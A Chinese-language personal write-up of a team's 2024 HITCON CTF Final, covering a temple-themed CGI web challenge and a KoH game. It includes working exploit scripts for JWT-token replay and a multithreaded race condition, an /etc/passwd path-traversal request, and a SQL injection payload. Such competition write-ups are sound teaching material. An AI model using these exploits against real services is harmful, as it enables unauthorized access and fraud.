2024 HITCON CTF FINAL 隨筆

Before all

Rank: 10/Taiwan Star
Team: 星爆牛炒竹狐(Starburst Beef Stir-Fried BambooFox)

今年我與星爆牛炒竹狐的夥(大)伴(佬)們一同組隊參與了HITCON CTF FINAL,雖然現場只能有四名選手在場,但能作為場外支援火力一同參與這場CTFer們的盛事我依然很興奮XD

Finalists
image

我(們)打MMM(和一坨知名隊伍),認真?!

Day 1

Anyway,第一天一開始的題目有三題,分別是:

    1. KoH-ed25519:一個要混淆ed25519簽證,並想辦法破解別人混淆的題目
    1. A&D-ucontext:Pwn題,沒看 😃
    1. A&D-fulu:一個廟宇的網站,白箱,CGI app

疑,所以3, 4題呢?
To be continued,一開始沒公布

看到這個分布,由於開賽的分配是現場組先看第一題,我自然就去看第五題啦~~
然後就矇了,一個interpreter.py和一坨無法解釋的圖片….沒錯,被混淆了!
(甚至是拿圖片當opcode)
痾…生為一個web狗可不能輕易放棄,就開始打黑箱吧XD
web服務
image
其實有hardcoded cred(user/pass),不過因為可以註冊帳號所以根本無所謂XD
但是登入有SQLi… 🤔
image

不惑無法讀檔 😑,就先放著了
這時候點下任何一個FUNCTION都會跳出像這樣的alert:
image
不過其實把官方檔案打開就會知道一些html templates
image

Oracle Attack through reusing JWT Token

轉轉逛逛,就看到了這個!
image

/poe的路徑是一個擲籤的模擬器,連續42遍聖籤就可以拿flag
架上Burp Suite觀察機制:主要就是user送出request -> 獲得新的JWT紀錄本次分數
不會無緣無故多一個不能打的服務在題目裡
抱著這樣的心態,嘗試打一些JWT相關攻擊發現無果,腦袋轉了兩圈…
鯨(驚)!
如果我在本次的JWT紀錄到N次,那我不斷拿當前的TOKEN嘗試,直到拿到的TOKEN紀錄的不是0而是N+1不就可以做到100%連續聖籤了嗎?!
brute_poe.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests as req
import json
from base64 import b64decode
import os

def login(datas, url):
web = req.post(url+'/login', data=datas)
cookie = web.headers.get('Set-Cookie')
# print(web.text)
print(f"[*] Got Cookie: {cookie.split(';')[0].split('=')}")
return {cookie.split(';')[0].split('=')[0]:cookie.split(';')[0].split('=')[1]}

def brute_poe(id, url, cookies):
web = req.post(url+'/poe', data={"action":"Throw"}, cookies=cookies)
cookie = web.headers.get('Set-Cookie')
# print(f"[*] Got Cookie: {cookie.split(';')[0].split('=')}")
cur_times=cookie.split(';')[0].split('=')[1].split('.')[1]
cur_times=b64decode(cur_times+'='*(len(cur_times)%4), validate=False).decode()
cur_times=json.loads(cur_times)['poe_times']
if int(cur_times)>id:
if id==41:
print(cookie+'\n', web.text+'\n', web.headers)
return web.text
return {cookie.split(';')[0].split('=')[0]:cookie.split(';')[0].split('=')[1]}
else:
return None

def attack(ip, port):
url = f'http://{ip}:{port}'

cookies=login({"username":"user", "password": "pass"}, url)
for i in range(-1, 42):
while True:

cur=brute_poe(i, url, cookies)
if cur:
if i==41:
print(cur)
return cur
else:
print(f"[*] cur={i+1}")
cookies=cur
break

# attack('172.19.0.2', 80)

LFI

背景圖片url長這樣:
http://172.19.0.2/static/background.png
今天如果請求/static//etc/passwd呢?
image
扯www

Race Condition

/credit有一個DONATE的功能,如果捐超過10000萬元可以GET FLAG
但是一但累積超過10000元就會被禁止捐款…
這是在隊伍ELK攔截看到的內容:
image
可以看到有人在同一秒進行了兩次捐款並GET FLAG!
基本上可以猜測後端流程是:donate -> 確認加上當前捐款後是否>=10000 -> 更新db
patch方法可以是先更新db,一旦超過就只讓他們捐到9999
最後把這個發現丟給隊友生腳本我就先去看別題了 zzz
race.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
# 隊友 Ball45 的腳本
import threading
import requests
import random
import string
import sys

# proxy = {
# 'http': 'http://localhost:8080'
# }

def register_and_login(s, url, username, password):
resp = s.post(url=url, data={"username": username, "password": password}) # , proxies=proxy)
if resp.status_code != 200:
print('Register failed, service might be down')
return False

return True

def random_string(length=10):
ascii_characters = string.ascii_letters + string.digits
random_string = ''.join(random.choice(ascii_characters) for _ in range(length))
return random_string

def donate(s, url, username):
data = {"name": username, "money": "9999"}
s.post(url=url, data=data)

def fetch_flag(s, url):
resp = s.get(url=url)
print(resp.text.rstrip())
return resp.text.rstrip()

def exploit_race_condition(ip, port):
session = requests.session()
url = f'http://{ip}:{port}'
username, password = random_string(), random_string()

if register_and_login(session, url+'/register', username, password):
threads = []
for _ in range(10):
thread = threading.Thread(target=donate, args=(session, url+'/credit', username,))
threads.append(thread)
thread.start()

for thread in threads:
thread.join()

return fetch_flag(session, url+'/credit/flag')

# if __name__ == "__main__":
# for i in range(1, 14):
# exploit_race_condition(f'10.102.{i}.40', 8081)

SQL Injections

其實剛剛credits路徑有個?name的參數可以取得user的
/credit?name=user' UNION SELECT 'meow', 'whale
image
XDD,所以到底要怎麼用呢,明天拭目以待!

小結

第一天成功靠著黑箱先幫隊伍砍下這題攻擊分(jwt重放的梗全場疑似只有我在玩),強大的隊友卡比(Chummy)好像也寫出interpreter的decoderㄌ
不過明天我暫定被調度到第三題的KoH玩api,還有GCC面試…
加油 XD

Day2

最後題單長這樣
image

    1. KoH-infinite-craft:不斷組合元素的遊戲,並且各隊伍提出各自最複雜的配方讓別人猜
    1. 攻防,pwn

先來 sync 下第一天fulu的後續,強者我隊友們成功把圖片byte code轉完了,能更仔細code review和patchㄌ,昨天我寫的攻擊也在各隊的SLA都能通過後開始瘋狂刷分 🔥
對了,SQL Injection其實在點燈的功能能被利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def serve_light(arg1, arg2, arg3):
# Var header start
username = 0
enable = 0
timestamp = 0
flag = 0

_2c411011 = 0
# Var header end
if (not verify_jwt(parse_cookie().get("token", ""))):
return send_status(403, True)
else:
pass
username = verify_jwt(parse_cookie().get("token", "")).get("username")
open("template/light.html").close()
connect()[1].execute(("SELECT name, timestamp FROM light WHERE name='%s'" % (username)))
enable = ""
timestamp = ""55
if connect()[1].fetchone():
enable = "enabled"
timestamp = connect()[1].fetchone()[1]
else:
pass
flag = ""
if connect()[1].fetchone()[1]:
if ((time.time() - connect()[1].fetchone()[1].timestamp()) >= 31536000):
flag = read_flag()
else:
pass
else:
pass
connect()[1].close()
connect()[0].close()
print("Content-Type: text/html\n", flush=True)
print((open("template/light.html").read() % (enable, username, timestamp, flag)), flush=True)

這邊判斷拿flag的條件是時間戳大於一年,取個人名帶著sqli payload下去就可以ㄌ
不過我們最後只有patch沒有打,因為昨天 JWT 重放的攻擊夠用ㄌ
回到第三題的KoH,利用後續leak到的get_recipe端點就可以拿到各元素的組成方法(但詢問元素只能是現在已知的)
image
然後發現名字是一段句子的元素,看來後端有個LLM被摧殘?!

早上我都在跑腳本爆破新元素,最後去猜別隊的元素組成方法其實就是DFS回朔現在知道的元素,但這塊就交給隊友(Vincent)寫腳本,我只專注在爆破💣
image
對,這題其實有點坐牢 🫠

After all

賽後記分板
image

很榮幸的宣布在我的攻擊、隊友的部署及Patch的合作下,fulu這題我們是第四高分!!!

Service Status:
image
我們的服務都還活著,Infra隊友是神 <(_ _)>

打得很開心,超喜歡這種打攻防和挖洞的感覺,爆東西也好爽ww
期許自己未來能變成更強大,可以獨當一面的駭客!